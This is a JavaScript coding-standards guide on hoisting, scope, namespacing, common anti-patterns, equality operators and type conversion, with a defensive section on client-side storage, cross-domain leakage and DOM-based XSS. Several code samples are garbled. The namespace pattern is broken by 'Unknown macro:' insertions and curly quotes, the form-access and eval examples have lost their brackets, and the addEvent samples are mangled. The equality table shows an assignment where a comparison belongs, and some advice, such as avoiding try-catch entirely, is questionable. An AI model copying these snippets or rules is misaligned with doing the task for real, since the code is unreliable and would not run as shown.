Most languages that conform to the C-family style will not put an item into memory until the program execution hits the line where the item is initialized.

JavaScript is not like most other languages. It utilizes function-level scoping of variables and functions. When a variable is declared, the declaration statement gets hoisted to the top of the function. The same is true for functions.

Not recommended

```
function simpleExample(){
    i = 7;
    console.log(i);
    var i;
}
```

What happens behind the scenes is that the var i; line declaration gets hoisted to the top of the simpleExample function. To make matters more complicated, not only the declaration of a variable gets hosted, but the entire function declaration gets hoisted. Let's look at an example to make this clearer:

```
function complexExample() {
    i = 7;

    console.log(i);          //The message says 7
    console.log(testOne()); //This gives a type error saying testOne is not a function
    console.log(testTwo()); //The message says "Hi from test two"

    var testOne = function(){ return 'Hi from test one'; }
    function testTwo(){ return 'Hi from test two'; }
    var i = 2;
}
```

The way the code is interpreted upon identification of variable declaration statements and functions is as follows:

```
function complexExample() {
    var testOne;
    function testTwo(){ return 'Hi from test two'; }
    var i;
    i = 7;

    console.log(i);          //The message says 7
    console.log(testOne()); //This gives a type error saying testOne is not a function
    console.log(testTwo()); //The message says "Hi from test two"

    testOne = function(){ return 'Hi from test one'; }
    i = 2;
}
```

The function testOne didn't get hoisted because it was a variable declaration (the variable is named testOne and the declaration is the anonymous function). The variable i gets its declaration hoisted and the initialization becomes an assignment down below.

To minimize mistakes and reduce the chances of introducing hard to find bugs in your code, always declare your variables at the top of your function and declare your functions next before you need to use them. This reduces the chances of a misunderstanding about what is going on in your code.

Scope

Because JavaScript uses block syntax but does not provide block scope, developers must take special care to manage scope. For this reason, use only one var statement at the top of each function.

Web applications must minimize their use of the global namespace and therefore developers should assign application-specific functions and variables to an application namespace. This helps with code testing and troubleshooting by keeping code modular and reusable.

This practice also reduces the chances of a namespace conflict when using an external library or framework.

```
”use strict”;
var MyApp = undefined || MyApp; // define variable unless it exists
if (typeof MyApp === ‘undefined’ || !MyApp) {// create if needed
(function () {
var privateVar = “private”, // private variable
privateFunc = function ()
Unknown macro: { // private method alert(“hide me”); }
,
soonToBePublic = function ()
Unknown macro: { alert(privateVar); }
;
MyApp = {
init: function ()
Unknown macro: { // public method }
,
config:
Unknown macro: { option1}
,
setup: function () {
},
getPrivate : soonToBePublic // private method now public
};
}());
}
```

Form Interaction

Due to a bug in earlier versions of IE (Internet Explorer), as a best practice, reference the form and its elements rather than an element by ID.

```
// use this
var myInput = document.forms“formname”.elements“inputname”;
// instead of this
var myInput = document.getElementById(“inputid”);
```

Anti-patterns (Unnecessary Practices)

myElement.style.width = "20px"

Avoid setting CSS style attributes with JavaScript. Instead, create the proper CSS classes and apply or remove those classes.

document.write

This method is depreciated. Developers should use DOM methods to change the DOM.

<noscript></noscript>

A better approach involves including a 'No JavaScript' message in the application that is removed by JavaScript. If the user's browser has no JavaScript or JavaScript is disabled, the message will appear.

href = "javascript:", onclick = "javascript:"

Developers must use unobtrusive JavaScript. Add the necessary JavaScript enhancements to valid HTML through JavaScript DOM methods, not the HTML.

switch (without a default: statement)

Use the default segment of a switch statement to warn that a case 'fell through' the switch statement without satisfying one of the conditions. Otherwise, this common source of errors will lead to difficulties during troubleshooting.

onclick = "void(0)"

Suppress default actions with unobtrusive patterns (see above). Also, avoid the void operator as it always returns undefined, which holds no value.

var myObject = New Object();

Use the object literal notation: `var myObject = {};`

var myArray = New Array();

Use the array literal notation: `var myArray = [];`

document.all, document.layers, navigator.useragent

Browser sniffing causes more problems than it fixes. Detect for specific DOM methods instead.

```
// correct
function addEvent(obj, evType, fn) {
if (obj.addEventListener)
Unknown macro: { // checks for the existence of a method obj.addEventListener(evType, fn, false); return true; }
}

// incorrect
function addEvent(obj, evType, fn) {
if (obj.addEventListener())
Unknown macro: { // assumes method exists and checks value obj.addEventListener(evType, fn, false); return true; }
```

with

Avoid using with statements, it tends to obscure the true intent of a code block.

continue and break

Avoid using the “continue” and “break” statements, it can obscure the intended loop logic.

_myPrivateVariable

Attempts to indicate private variables with a leading underscore (or leading and trailing double underscore) can make developers complacent or confuse a variable’s true nature.

eval

Developers often use “`eval`” in lieu of proper object and subscript notation.

```
// use this
myvalue = myObjectmyKey;

// instead of this
eval(“myValue = myObject.” + myKey + “;”);
```

Malicious code can exploit `eval`. Developers should avoid `eval` and `setTimeout` (which can act as eval) for this reason.

== and != vs. === and !==

When using equality operators, choose === or !== over their counterparts as they also compare type and help preserve transitivity in variables.

```
'' == '0'; //false
0 == ''; //true
0 == '0'; //true
false = 'false'; //false
false == '0'; //true
false == undefined; //false
false == null; //false
null == undefined; //true
'\t\r\n ' == 0; //true
```

The "==" comparison operators always convert to matching types before comparison whereas the "===" comparison operators directly compares without any type conversions, also, "==" comparison is slower than "===" comparison.

New Boolean()

Avoid the Boolean class, instead use Boolean primitives, true and false.

Type Conversions

Being a loosely typed language, in JavaScript automatic type conversions can happen so beware of it. For example:

- Numbers can accidentally convert to string or NaN
- The string can convert to number

```
var x = 5 + 7;       // x.valueOf() is 12,  typeof x is a number
var x = 5 + "7";     // x.valueOf() is 57,  typeof x is a string
var x = "5" + 7;     // x.valueOf() is 57,  typeof x is a string
var x = 5 - 7;       // x.valueOf() is -2,  typeof x is a number
var x = 5 - "7";     // x.valueOf() is -2,  typeof x is a number
var x = "5" - 7;     // x.valueOf() is -2,  typeof x is a number
var x = 5 - "x";     // x.valueOf() is NaN, typeof x is a number
"xyz" - "abc" //Returns NaN
```

try-catch Statement

Developers trying to apply their knowledge of classical languages often misuse the try-catch pattern and ultimately suppress important error information. For this reason, avoid TRY statements. Additionally, try (the catch part) and with statements add an object to the front of the scope chain making them less desirable for performance reasons.

Do Not Use Switch Fall Through

When you execute a switch statement, each case statement should be concluded by a break statement like so:

```
switch(i) {
   case 1:
      console.log('One');
      break;
   case 2:
      console.log('Two');
      break;
   case 3:
      console.log('Three');
      break;
   default:
      console.log('Unknown');
      break;
}
```

If you were to assign the value of 2 to the variable i, this switch statement would fire an alert that says "Two". The language does permit you to allow fall through by omitting the break statement(s) like so:

Now if you passed in a value of 2, you would get two alerts, the first one saying "Two" and the

```
switch(i) {
   case 1:
      console.log('One');
      break;
   case 2:
      console.log('Two');
   case 3:
      console.log('Three');
      break;
   default:
      console.log('Unknown');
      break;
}
```

second one saying "Three". This can seem to be a desirable solution in certain circumstances. The problem is that this can create false expectations. If you do not see that a break statement is missing, you may add logic that gets fired accidentally. Conversely, you may notice later that a break statement is missing, and you might assume this is a bug. The bottom line is that fall through should not be used intentionally to keep your logic clean and clear.

Avoid For...In Loops

The For...In loop works as it is intended to work, but how it works surprises people. The basic overview is that it loops through the attached, enumeration-visible members on an object. It does not simply walk down the index list like a basic for loop does. The following two examples

```
// The standard for loop
for(var i = 0; i < arr.length; i++) {}

// The for...in loop
for(var i in arr) {}
```

are **NOT** equivalent:

In some cases, the output will act the same in the above two cases. That does not mean they work the same way. There are three major ways that for...in is different than a standard for loop. These are:

- It loops through all the enumeration-visible members, which means it will pick up functions or other items attached to the object or its prototype;
- The order is not predictable (especially cross-browser); and,
- It is slower than a standard for loop.

If you fully understand for...in and know that it is the right choice for your specific situation, it can be a good solution. However, otherwise, you should use a standard for loop instead. It will be quicker, easier to understand, and less likely to cause weird bugs that are hard to diagnose.

Client-Side Logic and Data Storage

As JavaScript evolves and the rendering engines become faster, there is a temptation to carry out more client-side processing, including sensitive operations. While this is unavoidable in some scenarios, it may also be intended to offload processing to the client-side and save server-time and bandwidth. In other scenarios, there may be a need to ensure that some local security functions are carried out e.g. client-side encryption, before submitting to the cloud.

With HTML5, client-side storage mechanisms have gone beyond the cookie with newer options such as localStorage, Web SQL and IndexDB. Storage of sensitive data on the client side using these mechanisms could introduce greater risks, more than cookies, hence its use has to be carefully judged and executed securely. These methods, unlike cookies, have a longer life-span and larger storage capacity which tempt developers to use them to store potentially sensitive data. Moreover, JavaScript's weak encryption libraries make it likely that developers would merely encode this information rather than encrypt it.

A real-world example is a hard-coding the username and password into the JavaScript on the client-side. Implementing logical decision-making on the client-side makes the code available to the user. This can result in the user attempting to influence the outcome since the whole decision making happens within the browser, an environment that the user has full control over.

Server-side security should not depend on the security of JavaScript. You should assume that your attacker can and will change the HTML/CSS/JavaScript on your pages to try to view information that is not normally visible, and they will send data to your server that shouldn't be possible to send via the normal interface.

Operations involving security controls, sensitive logical decision-making and authentication should be avoided on the client-side. Merely disabling right-click functionality or obfuscating code does not prevent access to JavaScript, and hence these methods should be avoided.

Cross-Domain Information Leakage

JavaScript has cross-domain functionality that allows sites to load multiple objects from various sources (widgets or iframes, among others). Until recently, JavaScript had restrictions on accessing/sending data to other domains. However, HTML5 has increased the level of cross-domain access that JavaScript enjoys with the cross-domain XML request function.

When not implemented properly, the use of this function leads to unintentional data leakage. It is best to use a whitelist-based approach when implementing this function—right down to the sub-domain level. This ensures that anonymous JavaScript cannot be executed through public sub-domains.

postMessage is a JavaScript function under HTML5 that facilitates communication across iframes, i.e. two iframes loaded from separate domains on the same page or between the page and an iframe within it. This communication is entirely client-side. If postMessage restrictions are set loosely, it could result in invalidated malicious data being sent across iframes or a potential data leak scenario making it possible to perform data extraction across sites. The white-list paradigm applies here as well.

Using callback functions in APIs should only be allowed with discretion in cases where the information in question needs to be shared with all external parties. Turn these features off when not needed.

DOM-Based Cross-Site Scripting (XSS)

With server-side XSS vulnerabilities getting fixed, DOM-based XSS is becoming more prevalent. As this type of vulnerability is not picked up by common application firewalls, they can be missed. The script injection in DOM-based XSS happens purely on the client-side. JavaScript static analysis requires identifying sources and following them into sinks, while JavaScript runtime analysis requires execution and awareness of when and where sources/sinks are being called for execution.

JavaScript sources are functions or DOM properties that can be influenced by the user (e.g. document cookies, sessionStorage, localStorage, location.href, navigation.referrer, window.name, etc.). Sinks are properties, functions and other client-side entities that that can lead to or influence client-side code execution (e.g. eval(), Function(), setTimeout(), setInterval(), location.assign(), XHR calls, postMessage, etc.). See section 2.5 for further information.

To mitigate DOM-based XSS, avoid using sources/sinks whenever possible. When unavoidable, perform rigorous white-list based filtering on sources and perform proper encoding before sending data to a sink.

Tools

Code Validation

JSlint can help developers by quickly identifying errors and potential problems with either the online or offline version.

Browsers

Along with the previously mentioned JSlint, most modern browsers have script debuggers and consoles. Other browsers make use of add-ons to accomplish this task, like the very popular Firebug add-on for Firefox. See your browser's documentation for enabling developer mode features.

Modern browsers raise more exceptions and prevent some "unsafe" JavaScript actions when developers implement the "use strict" feature.

When developing for multiple browsers, check for method availability and possible pitfalls.

Interactive Development Environment (IDE)

Syntax highlighting, proper spacing and formatting, and code block collapsing can all help speed the development process. Developers should use an IDE for JavaScript development like any other programming language.

Libraries

JavaScript libraries offer valuable tools for reducing development time and increasing performance. If used correctly. Use these guidelines for implementing a JavaScript library:

- Only use a library with the full source (not minified or compressed) code available
- Only use a library which is actively maintained
- Use the latest version of the library and apply security and bug patches when they are released
- Ensure support for all browsers required for the project
- Do not fork or modify the library files
- Do not override library methods
- Avoid shorthand naming, like $, as this can lead to namespace conflicts and cause confusion